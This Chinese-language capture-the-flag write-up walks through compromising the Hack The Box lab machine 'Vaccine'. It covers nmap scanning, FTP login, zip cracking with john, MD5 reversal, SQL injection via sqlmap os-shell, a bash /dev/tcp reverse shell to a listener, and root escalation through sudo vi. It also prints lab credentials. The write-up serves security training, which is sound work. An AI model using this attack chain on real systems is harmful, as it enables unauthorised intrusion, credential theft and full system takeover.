扫描端口

nmap -p- --min-rate=1000 -T4  10.10.10.46

发现有ftp端口

登陆ftp服务器

通过ftpuser / mc@F1l3ZilL4登陆ftp服务器,下载文件backup.zip,发现解压需要密码

破解解压密码

zip2john

sudo zip2john backup.zip > passwd.bash

rockyou

  • 解压/usr/share/wordlists/rockyou.txt.gz
gzip -d rockyou.txt.gz
  • 破解密码
john passwd.bash --fork=4 -w rockyou.txt

输出

Waiting for 3 children to terminate
741852963        (backup.zip)
4 0g 0:00:00:00 DONE (2020-08-09 22:40) 0g/s 88600p/s 88600c/s 88600C/s miki..newcourt
2 1g 0:00:00:00 DONE (2020-08-09 22:40) 100.0g/s 64000p/s 64000c/s 64000C/s chacha..dilbert
3 0g 0:00:00:00 DONE (2020-08-09 22:40) 0g/s 88700p/s 88700c/s 88700C/s mail..sss

即密码为741852963;发现index.php文档中的账号密码为admin/2cb42f8734ea607eefed3b70af13bbd3

  • 反向破解md5
    WX20200810-104908@2x
    即密码为qwerty789

sql注入

判断是否可注入

WX20200810-124705
由此大致得出sql为select * from cars where name like '%$1%'

sqlmap

  • 获取请求cookie
    WX20200810-135911

  • 检查注入

sqlmap -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=c449ks855g4qch19juu967s63j"

WX20200810-141047

发现后端db为PostgreSQL,并且存在注入风险

os-shell

sqlmap -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=c449ks855g4qch19juu967s63j"  --os-shell

WX20200810-141330

xbox虚拟机监听端口

nc -lvnp 4444

os-shell访问4444并执行命令

bash -c 'bash -i >& /dev/tcp/10.10.14.2/4444 0>&1'

表示以交互方式(-i)与10.10.14.2:4444创建tcp连接

在nc 4444窗口中执行命令

whoami

如果一直连接不上,有可能是postgres停止服务了

权限提升

查看文件内容

cat /var/www/html/dashboard.php

发现账号/密码为postgres/P@s5w0rd!

密码可用于执行sudo 提升权限

  • sudo -l
postgres@vaccine:/var/lib/postgresql/11/main$ sudo -l
sudo -l
sudo: no tty present and no askpass program specified

sudo -l显示可执行sudo操作的文件列表,具体在/etc/sudoers中配置,如果有可以sudo的文件,则在vi编辑该文件时,通过!/bin/bash可通过suid执行bash操作

  • pty
    python3 -c "import pty;pty.spawn('/bin/bash')"
  • 再次执行sudo -l
    WX20200810-145214

如果网络可直接访问,则在本地ssh进入服务器ssh postgres@10.10.10.46 -p 22

  • 在vi在命令行模式下输入:!/bin/bash;返回桌面后即为root用户
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf